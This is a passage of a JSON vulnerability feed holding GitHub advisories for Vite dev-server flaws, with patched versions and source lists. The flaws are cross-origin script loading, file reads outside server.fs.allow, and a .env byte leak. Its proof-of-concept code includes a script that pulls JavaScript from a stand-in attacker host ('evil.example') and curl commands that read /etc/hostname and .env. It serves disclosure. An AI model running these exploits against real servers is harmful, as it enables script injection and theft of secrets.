page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-7mh2-4gg2-979f, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-7mh2-4gg2-979f, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-7mh2-4gg2-979f, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-7mh2-4gg2-979f, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-7mh2-4gg2-979f, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-7mh2-4gg2-979f, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-7mh2-4gg2-979f, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-7mh2-4gg2-979f, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113795&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113795, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112945","cveId":"CVE-2026-112945","aliases":["GHSA-9jrq-w75r-8gcw"],"kind":"vulnerability","title":"Vite: Cross origin script execution through Vite custom middleware","summary":"When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.\n\nOnly apps that match the following conditions are affected:","detail":"### Summary\n\nWhen accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.\n\n### Impact\n\nOnly apps that match the following conditions are affected:\n\n- the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this.\n- the transformed HTML contains an inline module script\n- from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions\n\n### Details\n\n[Vite's SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:\n\n```js\nconst url = req.originalUrl\ntemplate = await vite.transformIndexHtml(url, template)\n```\n\nFor a development server at `http://localhost:5173`, an attacker can send this URL:\n\n```text\nhttp://localhost:5173//evil.example/payload.js?/../../package.json\n```\n\nIn Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text.\n\nChromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`.\n\n[The existing file branch in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232) checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. [The inline module rewrite in the same file](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278) writes that value into the generated `src`:\n\n```html\n\n```\n\nThe generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.\n\n### PoC\n\n```js\nimport { createServer as createHttpServer } from 'node:http'\nimport { createRequire } from 'node:module'\nimport { dirname, join } from 'node:path'\nimport { fileURLToPath, pathToFileURL } from 'node:url'\n\nconst directory = dirname(fileURLToPath(import.meta.url))\nconst require = createRequire(join(directory, 'package.json'))\nconst { chromium } = require('playwright-chromium')\nconst viteModule = await import(\n pathToFileURL(require.resolve('vite')).href\n)\nconst createViteServer =\n viteModule.createServer ?? viteModule.default.createServer\n\n// This loopback server stands in for a separately hosted attacker website.\nconst attackerPort = 4173\nconst exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`\nconst html = ''\n\nconst listen = (server, port = 0) =>\n new Promise((resolve, reject) => {\n server.once('error', reject)\n server.listen(port, '127.0.0.1', () => {\n server.off('error', reject)\n resolve(server.address().port)\n })\n })\n\nconst close = (server) =>\n new Promise((resolve, reject) => {\n server.close((error) => (error ? reject(error) : resolve()))\n })\n\nlet attackerRequest = null\nconst attacker = createHttpServer((request, response) => {\n attackerRequest = request.url\n response.writeHead(200, {\n 'access-control-allow-origin': '*',\n 'content-type': 'text/javascript',\n })\n response.end(\n \"document.documentElement.dataset.viteXssPoc = 'executed'\",\n )\n})\n\nconst vite = await createViteServer({\n appType: 'custom',\n configFile: false,\n root: directory,\n server: {\n hmr: false,\n middlewareMode: true,\n watch: null,\n },\n})\n\nconst application = createHttpServer((request, response) => {\n vite.middlewares(request, response, async (error) => {\n if (error) {\n response.destroy(error)\n return\n }\n\n try {\n const transformed = await vite.transformIndexHtml(request.url, html)\n response.writeHead(200, { 'content-type': 'text/html' })\n response.end(transformed)\n } catch (transformError) {\n response.destroy(transformError)\n }\n })\n})\n\nawait listen(attacker, attackerPort)\nconst applicationPort = await listen(application)\nconst browser = await chromium.launch({ headless: true })\n\ntry {\n const page = await browser.newPage()\n await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)\n await page.waitForFunction(\n () => document.documentElement.dataset.viteXssPoc === 'executed',\n )\n\n console.log(`attacker request: ${attackerRequest}`)\n console.log('JavaScript from the attacker server executed in the Vite page')\n} finally {\n await browser.close()\n await close(application)\n await vite.close()\n await close(attacker)\n}\n```\n\nObserved output on Vite 8.2.1:\n```text\nattacker request: /payload.js?/../../package.json?html-proxy&index=0.js\nJavaScript from the attacker server executed in the Vite page\n```\n\nAffected package ranges reported by GitHub:\nvite: >= 8.3.0, <= 8.3.2\nvite: >= 8.2.0, <= 8.2.3\nvite: >= 8.0.0, <= 8.1.5\nvite: >= 7.0.0, <= 7.3.6\nvite: <= 6.4.3\nvite-plus: <= 1.0.0","action":"GitHub lists first patched versions: vite: 8.3.3; vite: 8.2.4; vite: 8.1.6; vite: 7.3.7; vite: 6.4.4; vite-plus: 1.1.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T16:48:14.000Z","updatedAt":"2026-10-21T16:48:15.000Z","regions":["Global"],"vendor":null,"product":"vite, vite, vite, vite, vite, vite-plus","stacks":["JavaScript packages (npm)","vite","vite-plus","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw","asOf":"2026-10-21T16:48:15.000Z"},"epss":{"probability":0.00562,"percentile":0.46457,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112945&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-9jrq-w75r-8gcw","url":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw","type":"primary","publishedAt":"2026-10-21T16:48:14.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-9jrq-w75r-8gcw, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112945&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112945, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112946","cveId":"CVE-2026-112946","aliases":["GHSA-rq7h-c2jc-7f22"],"kind":"vulnerability","title":"Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine","summary":"The content of files outside `server.fs` setting can be returned to the browser if the project imports a file path concatenated with the `root`. For example, if the project references ` /etc/hosts`, the content of `/etc/hosts` was possible to be returned.\n\nThe content of files outside the `server.fs.allow` option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing ` /etc/hosts` could make Vite return the host's `/etc/hosts` file.","detail":"### Summary\n\nThe content of files outside `server.fs` setting can be returned to the browser if the project imports a file path concatenated with the `root`. For example, if the project references ` /etc/hosts`, the content of `/etc/hosts` was possible to be returned.\n\nThe content of files outside the `server.fs.allow` option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing ` /etc/hosts` could make Vite return the host's `/etc/hosts` file.\n\n### Impact\n\nOnly apps that meet all of the following conditions are affected:\n\n- explicitly expose the Vite dev server to the network (using `--host` or the [`server.host` option](https://vite.dev/config/server-options#server-host))\n- contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host\n- The sensitive file is not matched by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny)\n- the dev server is not running on Windows\n\n### Details\n\nWhen Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as `/etc/hostname`. In affected versions, Vite converts that URL with `fsPathFromUrl` and adds the result to `safeModulePaths`. Because `fsPathFromUrl` ensures a leading slash without resolving the URL against the project root, the project URL `/etc/hostname` is recorded as if it were the absolute filesystem path `/etc/hostname`.\n\nFor a later request to `/@fs/etc/hostname`, the raw-filesystem middleware interprets `/etc/hostname` as an absolute path. The access check applies `server.fs.deny`, then accepts paths present in `safeModulePaths` before checking `server.fs.allow`. As a result, the request can return the host file instead of the project file that originally populated `safeModulePaths`.\n\n### PoC\nThe following example requires Linux with a readable `/etc/hostname`:\n```bash\n$ mkdir vite-safe-module-path-poc\n$ cd vite-safe-module-path-poc\n$ npm init -y\n$ npm install vite@8.3.1\n$ mkdir -p etc\n$ echo 'PROJECT-DECOY\\n' > etc/hostname\n$ echo 'import \"./etc/hostname\"\\n' > main.js\n$ npx vite --host 127.0.0.1\n```\n\nIn another terminal:\n```bash\n$ curl -o /dev/null -s -w '%{http_code}\\n' http://127.0.0.1:5173/main.js\n200\n$ curl -sS -o response -w '%{http_code}\\n' http://127.0.0.1:5173/@fs/etc/hostname\n200\n$ cmp -s response /etc/hostname && echo 'response matches host file'\nresponse matches host file\n```\n\nAffected package ranges reported by GitHub:\nvite: >= 8.3.0, <= 8.3.2\nvite: >= 8.2.0, <= 8.2.3\nvite: >= 8.0.0, <= 8.1.5\nvite: >= 7.0.0, <= 7.3.6\nvite: <= 6.4.3\nvite-plus: <= 1.0.0","action":"GitHub lists first patched versions: vite: 8.3.3; vite: 8.2.4; vite: 8.1.6; vite: 7.3.7; vite: 6.4.4; vite-plus: 1.1.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T16:47:42.000Z","updatedAt":"2026-10-21T16:47:43.000Z","regions":["Global"],"vendor":null,"product":"vite, vite, vite, vite, vite, vite-plus","stacks":["JavaScript packages (npm)","vite","vite-plus","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-rq7h-c2jc-7f22","asOf":"2026-10-21T16:47:43.000Z"},"epss":{"probability":0.00852,"percentile":0.57986,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112946&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-rq7h-c2jc-7f22","url":"https://github.com/advisories/GHSA-rq7h-c2jc-7f22","type":"primary","publishedAt":"2026-10-21T16:47:42.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-rq7h-c2jc-7f22, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-rq7h-c2jc-7f22, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-rq7h-c2jc-7f22, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-rq7h-c2jc-7f22, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-rq7h-c2jc-7f22, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-rq7h-c2jc-7f22, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-rq7h-c2jc-7f22, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-rq7h-c2jc-7f22, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-rq7h-c2jc-7f22, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112946&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112946, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112947","cveId":"CVE-2026-112947","aliases":["GHSA-vfpm-58rq-9qcg"],"kind":"vulnerability","title":"Vite: First 4 bytes of files outside of `server.fs` setting is exposed by `?vite-wasm-instance`","summary":"The first 4 bytes of files outside of `server.fs` setting can be returned to the browser by a request containing `?vite-wasm-instance`.\n\n Only apps that match one of the following conditions are affected:","detail":"### Summary\n\nThe first 4 bytes of files outside of `server.fs` setting can be returned to the browser by a request containing `?vite-wasm-instance`.\n\n### Impact\n\n Only apps that match one of the following conditions are affected:\n\n- explicitly expose the Vite dev server to the network using `--host` or the [`server.host`](https://vite.dev/config/server-options#server-host) option\n- there's a file that has a sensitive information in **the first 4 bytes**\n- uses Node.js or Deno to run Vite (if Bun is used, it is not affected)\n\n### Details\nRequests containing the `?vite-wasm-instance` query are handled by the internal Wasm plugin's `load` hook. The hook removes the query and reads the resulting path directly from disk, but the `server.fs` checks were not applied.\n\nAfter reading the file, Vite attempts to parse it as WebAssembly. When that parse fails, Node and deno throws an error that contains the first 4 bytes of the file.\n\n### PoC\n\nCreate a denied file and start an affected Vite dev server:\n\n```bash\necho 'SECRET_KEY=abc123\\n' > .env\nnpm run dev\ncurl 'http://localhost:5173/.env?vite-wasm-instance'\n```\n\nThis will show\n```\nFailed to parse WASM file \" /.env\": WebAssembly.compile(): expected magic word 00 61 73 6d, found 53 45 43 52 @+0\n```\n\nAffected package ranges reported by GitHub:\nvite: >= 8.3.0, <= 8.3.2\nvite: >= 8.2.0, <= 8.2.3\nvite-plus: >= 0.2.8, <= 1.0.0","action":"GitHub lists first patched versions: vite: 8.3.3; vite: 8.2.4; vite-plus: 1.1.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T16:47:15.000Z","updatedAt":"2026-10-21T16:47:16.000Z","regions":["Global"],"vendor":null,"product":"vite, vite, vite-plus","stacks":["JavaScript packages (npm)","vite","vite-plus","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-vfpm-58rq-9qcg","asOf":"2026-10-21T16:47:16.000Z"},"epss":{"probability":0.00502,"percentile":0.42676,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112947&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-vfpm-58rq-9qcg","url":"https://github.com/advisories/GHSA-vfpm-58rq-9qcg","type":"primary","publishedAt":"2026-10-21T16:47:15.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-vfpm-58rq-9qcg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-vfpm-58rq-9qcg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-vfpm-58rq-9qcg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-vfpm-58rq-9qcg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-vfpm-58rq-9qcg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-vfpm-58rq-9qcg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-vfpm-58rq-9qcg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-vfpm-58rq-9qcg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-vfpm-58rq-9qcg, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112947&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112947, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113799","cveId":"CVE-2026-113799","aliases":["GHSA-26w4-8w32-4x3v"],"kind":"vulnerability","title":"Slack Morphism verifier errors disclose valid HMACs in the logs","summary":"Slack Morphism exposes the correct Slack request HMAC when signature verification fails.\n\nFor an invalid request, `slack-morphism` computes the correct signature for the attacker-controlled timestamp and request body and stores it in `SlackEventWrongSignatureError.generated_hash`. The error's `Debug` 